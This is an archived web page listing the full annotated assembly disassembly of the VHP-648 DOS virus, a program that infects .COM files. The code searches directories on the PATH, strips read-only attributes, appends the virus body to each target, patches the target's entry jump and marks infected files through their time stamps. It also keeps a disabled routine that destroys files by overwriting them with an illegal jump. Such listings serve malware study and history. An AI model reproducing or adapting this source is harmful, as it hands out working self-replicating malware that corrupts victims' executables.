home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / C-623.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  10KB  |  320 lines

  1.       name        Virus
  2.       title       Disassembly listing of the VHP-648 virus
  3.      .radix       16
  4.       code        segment
  5.       assume      cs:code,ds:code
  6.       org         100
  7. environ   equ     2C
  8.  
  9. start:
  10.       jmp      virus
  11.       . . .
  12. virus:
  13.       push      cx              ;Save CX
  14.       mov       dx,offset data  ;Restore original first instruction
  15.                                 ; before each contamination
  16. modify equ      $-2             ;The instruction above is changed
  17.       cld
  18.       mov      si,dx
  19.       add      si,saveins-data  ;Instruction saved there
  20.       mov      di,offset start
  21.       mov      cx,3             ;Move 3 bytes
  22.       rep      movsb            ;Do it
  23.       mov      si,dx            ;Keep SI pointed at data
  24.  
  25.       mov      ah,30            ;Get DOS version
  26.       int      21
  27.       cmp      al,0             ;Less than 2.0?
  28.       jne      skip1
  29.       jmp      exit             ;Exit if so
  30.  
  31. skip1:
  32.       push     es               ;Save ES
  33.       mov      ah,2F            ;Get current DTA in ES:BX
  34.       int      21
  35.       mov      word ptr [si+0],bx      ;dtaadr
  36.       mov      word ptr [si+2],es
  37.       pop      es               ;Restore ES
  38.  
  39.       mov      dx,mydta-data
  40.       add      dx,si
  41.       mov      ah,1A            ;Set DTA
  42.       int      21
  43.  
  44.       push      es              ;Save ES & SI
  45.       push      si
  46.       mov      es,ds:[environ]  ;Environment address
  47.       mov      di,0
  48. n_00015A:                       ;Search 'PATH=' in the environment
  49.       pop      si               ;Restore data offset in SI
  50.       push     si
  51.       add      si,pathstr-data
  52.       lodsb
  53.       mov      cx,8000          ;Maximum 32K in environment
  54.       repne    scasb            ;Search for first letter ('P')
  55.       mov      cx,4             ;4 letters in 'PATH'
  56. n_000169:
  57.       lodsb                     ;Search for next char
  58.       scasb
  59.       jne      n_00015A         ;If not found, search for next 'P'
  60.       loop     n_000169         ;Loop until done
  61.       pop      si               ;Restore SI & ES
  62.       pop      es
  63.  
  64.       mov      [si+16],di       ;Save 'PATH' offset in poffs
  65.       mov      di,si
  66.       add      di,fname-data    ;Point SI & DI at '=' sign
  67.       mov      bx,si            ;Point BX at data area
  68.       add      si,fname-data
  69.       mov      di,si
  70.       jmp      short n_0001BF
  71.  
  72. n_000185:
  73.       cmp      word ptr [si+16],6C  ;poffs
  74.       jne      n_00018F
  75.       jmp      olddta
  76. n_00018F:
  77.       push     ds
  78.       push     si
  79.       mov      ds,es:[environ]
  80.       mov      di,si
  81.       mov      si,es:[di+16]    ;poffs
  82.       add      di,fname-data
  83. n_0001A1:
  84.       lodsb
  85.       cmp      al,';'
  86.       je       n_0001B0
  87.       cmp      al,0
  88.       je       n_0001AD
  89.       stosb
  90.       jmp      n_0001A1
  91. n_0001AD:
  92.       mov      si,0
  93. n_0001B0:
  94.       pop      bx
  95.       pop      ds
  96.       mov      [bx+16],si       ;poffs
  97.       cmp      byte ptr [di-1],'\'
  98.       je       n_0001BF
  99.       mov      al,'\'           ;Add '\' if not already present
  100.       stosb
  101.  
  102. n_0001BF:
  103.       mov      [bx+18],di       ;Save '=' offset in eqoffs
  104.       mov      si,bx            ;Restore data pointer in SI
  105.       add      si,allcom-data
  106.       mov      cx,6             ;6 bytes in ASCIIZ '*.COM'
  107.       rep      movsb            ;Move '*.COM' at fname
  108.       mov      si,bx            ;Restore SI
  109.  
  110.       mov      ah,4E            ;Find first file
  111.       mov      dx,fname-data
  112.       add      dx,si
  113.       mov      cx,11b            ;Hidden, Read/Only or Normal files
  114.       int      21
  115.       jmp      short n_0001E3
  116.  
  117. findnext:
  118.       mov      ah,4F             ;Find next file
  119.       int      21
  120. n_0001E3:
  121.       jnc      n_0001E7          ;If found, try to contaminate it
  122.       jmp      n_000185          ;Otherwise search in another directory
  123.  
  124. n_0001E7:
  125.       mov      ax,[si+75]        ;Check file time
  126.       and      al,11111b         ; (the seconds, more exactly)
  127.       cmp      al,62d/2          ;Are they 62?
  128.  
  129. ;If so, file is already contains the virus, search for another:
  130.  
  131.       je       findnext
  132.       cmp      [si+79],64000d    ;Is file size greather than 64,000 bytes?
  133.       ja       findnext          ;If so, search for next file
  134.       cmp      word ptr [si+79],10d  ;Is file size less than 10 bytes?
  135.       jb       findnext              ;If so, search for next file
  136.  
  137.       mov      di,[si+18]        ;eqoffs
  138.       push     si                ;Save SI
  139.       add      si,namez-data     ;Point SI at namez
  140. n_000209:
  141.       lodsb
  142.       stosb
  143.       cmp      al,0
  144.       jne      n_000209
  145.  
  146.       pop      si                ;Restore SI
  147.       mov      ax,4300           ;Get file attributes
  148.       mov      dx,fname-data
  149.       add      dx,si
  150.       int      21
  151.  
  152.       mov      [si+8],cx         ;Save them in fattrib
  153.       mov      ax,4301           ;Set file attributes
  154.  
  155. ;The next `db's are there because MASM can't assemble
  156. ; the instruction `and cx,0FFFE' correctly (the fool!):
  157.  
  158.       and      cx,0FFFE          ;Turn off Read Only flag
  159.       mov      dx,fname-data
  160.       add      dx,si
  161.       int      21
  162.  
  163.       mov      ax,3D02           ;Open file with Read/Write access
  164.       mov      dx,fname-data
  165.       add      dx,si
  166.       int      21
  167.       jnc      n_00023E
  168.       jmp      oldattr           ;Exit on error
  169. n_00023E:
  170.       mov      bx,ax             ;Save file handle in BX
  171.       mov      ax,5700           ;Get file date & time
  172.       int      21
  173.       mov      [si+4],cx         ;Save time in ftime
  174.       mov      [si+6],dx         ;Save date in fdate
  175.  
  176.       mov      ah,2C             ;Get system time
  177.       int      21
  178.       and      dh,111b           ;Are seconds a multiple of 8?
  179.  
  180. ;If so, destroy file (don't contaminate). Now this code is disabled.
  181.  
  182.       jmp      short n_000266    ;CHANGED. Was jnz here
  183.  
  184. ;Destroy file by rewriting an illegal jmp as first instruction:
  185.  
  186.       mov      ah,40             ;Write to file handle
  187.       mov      cx,5              ;Write 5 bytes
  188.       mov      dx,si
  189.       add      dx,bad_jmp-data   ;Write THESE bytes
  190.       int      21                ;Do it
  191.       jmp      short oldtime     ;Exit
  192.  
  193. ;Try to contaminate file:
  194.  
  195. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  196.  
  197. n_000266:
  198.       mov      ah,3F             ;Read from file handle
  199.       mov      cx,3              ;Read 3 bytes
  200.       mov      dx,saveins-data   ;Put them there
  201.       add      dx,si
  202.       int      21
  203.       jc       oldtime           ;Exit on error
  204.       cmp      ax,3              ;Are really 3 bytes read?
  205.       jne      oldtime           ;Exit if not
  206.  
  207. ;Move file pointer to end of file:
  208.  
  209.       mov      ax,4202           ;LSEEK from end of file
  210.       mov      cx,0              ;0 bytes from end
  211.       mov      dx,0
  212.       int      21
  213.       jc       oldtime           ;Exit on error
  214.  
  215.       mov      cx,ax             ;Get the value of file pointer
  216.       sub      ax,3              ;Subtract 3 from it to get real code size
  217.       mov      [si+14d],ax       ;Save result in filloc
  218.       add      cx,data-(virus-100)
  219.       mov      di,si
  220.       sub      di,data-modify    ;A little self-modification
  221.       mov      [di],cx
  222.  
  223.       mov      ah,40             ;Write to file handle
  224.       mov      cx,enddata-virus  ;Virus code length as bytes to be written
  225.       mov      dx,si
  226.       sub      dx,data-virus     ;Now DX points at virus label
  227.       int      21
  228.       jc       oldtime           ;Exit on error
  229.       cmp      ax,enddata-virus  ;Are all bytes written?
  230.       jne      oldtime           ;Exit if not
  231.  
  232.       mov      ax,4200           ;LSEEK from the beginning of the file
  233.       mov      cx,0              ;Just at the file beginning
  234.       mov      dx,0
  235.       int      21
  236.       jc       oldtime           ;Exit on error
  237.  
  238. ;Rewrite the first instruction of the file with a jump to the virus code:
  239.  
  240.       mov      ah,40             ;Write to file handle
  241.       mov      cx,3              ;3 bytes to write
  242.       mov      dx,si
  243.       add      dx,newjmp-data    ;Write THESE bytes
  244.       int      21
  245.  
  246. oldtime:
  247.       mov      dx,[si+6]         ;Restore file date
  248.       mov      cx,[si+4]         ; and time
  249.  
  250. ;And these again are due to the MASM 5.0 foolness:
  251.  
  252.       db      081,0E1,0E0,0FF
  253.       db      081,0C9,01F,000
  254. ;      and      cx,not 11111b
  255. ;      or      cx,11111b         ;Set seconds to 62 (?!)
  256.  
  257.       mov      ax,5701           ;Set file date & time
  258.       int      21
  259.       mov      ah,3E             ;Close file handle
  260.       int      21
  261.  
  262. oldattr:
  263.       mov      ax,4301           ;Set file attributes
  264.       mov      cx,[si+8]         ;They were saved in fattrib
  265.       mov      dx,fname-data
  266.       add      dx,si
  267.       int      21
  268.  
  269. olddta:
  270.       push     ds                ;Save DS
  271.       mov      ah,1A             ;Set DTA
  272.       mov      dx,[si+0]         ;Restore saved DTA
  273.       mov      ds,[si+2]
  274.       int      21
  275.       pop      ds                ;Restore DS
  276.  
  277. exit:
  278.       pop      cx                ;Restore CX
  279.       xor      ax,ax             ;Clear registers
  280.       xor      bx,bx
  281.       xor      dx,dx
  282.       xor      si,si
  283.       mov      di,100            ;Jump to CS:100
  284.       push     di                ; by doing funny RET
  285.       xor      di,di
  286.       ret      -1
  287.  
  288. data label byte                 ;Data section
  289. dtaaddr    dd      ?            ;Disk Transfer Address
  290. ftime      dw      ?            ;File date
  291. fdate      dw      ?            ;File time
  292. fattrib    dw      ?            ;File attribute
  293. saveins    db      0EBh,0Fh,90  ;Original first 3 bytes
  294. newjmp     db      0E9          ;Code of jmp instruction
  295. filloc     dw      ?            ;File pointer is saved here
  296. allcom     db      '*.COM',0    ;Filespec to search for
  297. poffs      dw      ?            ;Address of 'PATH' string
  298. eqoffs     dw      ?            ;Address of '=' sign
  299. pathstr    db      'PATH='
  300. fname      db      40 dup (' ') ;Path name to search for
  301.  
  302. ;Disk Transfer Address for Find First / Find Next:
  303.  
  304. mydta label byte
  305. drive       db      ?           ;Drive to search for
  306. pattern     db      13d dup (?) ;Search pattern
  307. reserve     db      7 dup (?)   ;Not used
  308. attrib      db      ?           ;File attribute
  309. time        dw      ?           ;File time
  310. date        dw      ?           ;File date
  311. fsize       dd      ?           ;File size
  312. namez       db      13d dup (?) ;File name found
  313.  
  314. ;This replaces the first instruction of a destroyed file:
  315.  
  316. bad_jmp db      0EA,0Bh,2,13,58
  317. enddata label   byte
  318.      code       ends
  319.                 end       start
  320.